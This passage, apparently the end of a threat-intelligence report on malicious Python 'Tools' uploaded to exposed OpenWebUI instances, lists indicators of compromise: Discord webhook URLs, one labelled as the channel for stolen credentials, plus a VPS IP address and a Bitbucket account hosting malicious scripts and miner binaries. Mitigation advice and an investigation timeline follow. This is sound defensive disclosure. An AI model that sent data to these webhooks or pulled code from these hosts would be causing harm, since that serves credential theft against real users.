https://canary.discord[.]com/api/webhooks/1391285481270153236/3JiIUhIUjawdnQWQsr29xFsNWAfHHa5IEMG0WapmvdhQbC6wHdNK7lT5C4vf2Fx4UVYO
https://canary.discord[.]com/api/webhooks/1391284511773556927/fTp8wlX0OKexWk1ZvGdKIVZa6uwwNbo7KCBVU1MwekIF9aPQmDZphWWfhnZ8oGSkBE4t
Exfiltration of stolen credentials:https://canary.discord[.]com/api/webhooks/1438849130532438148/2nNtS-UZWuoNyO3tl66A4cqtef6jSukmgxa8DP32vdQ8Qkxn2hhjJukpcWJnFifytFkW

“Bulletproof hosting” VPS, used by the Treat Actor:

185.208.159.155 - Hosted in Switzerland, by Global-Data System IT Corporation House of Francis, Room 303, Ile Du Port,, 0000, Mahe, SEYCHELLES, ORG-GSIC1-RIPE

Attacker-controlled Bitbucket account hosting malicious scripts and compiled crypto miner binaries - never observed to be actually used:

https://bitbucket[.]org/zxcvbnbvn

Mitigation

Information disclosure via api/config and api/version routes:

  • Allows malicious actors to gather metadata about outdated instances or instances using weak configurations
  • Despite the numerous times the issue has been raised regarding information disclosure vulnerabilities in OpenWebUI, the root cause of the issue was not fixed, with inconsistent, case-by-case fixes
  • At the time, the only possible fix is setting up a reverse proxy, restricting access to the affected routes, or patching OpenWebUI manually to require authentication for these routes

Recommendations for OpenWebUI users and instance administrators:

  • Ensure that authentication features are enabled, and that new signups require administrator approvals
  • Ensure proper instance isolation by utilizing IP whitelisting and set up a proxy that requires additional authentication for the OpenWebUI API (until the issue is addressed by OpenWebUI)
  • Set up monitoring pipelines to detect unauthorized “Tools” uploads and unauthorised models running on your instance.
  • Disable “Tools” functionality in the OpenWebUI administrator dashboard to prevent unwanted remote code execution, or restrict code execution to trusted user groups

Investigation timeline

January 7th, 2026: Collecting a list of OpenWebUI servers, indexing api/config endpoints

January 8th, 2026: Identifying malicious Python scripts uploaded to OpenWebUI instances, reversed obfuscation

January 13-15th, 2026: Creating a script to export Tools from vulnerable OpenWebUI instances

January 21st, 2026: Identifying all different variations of malicious scripts, decoded and sorted by script checksum hash

January 27th, 2026: finishing analysing the differences between malicious scripts, order of creation


ADVERTISEMENT

Leave a Reply

Your email address will not be published. Required fields are markedmarked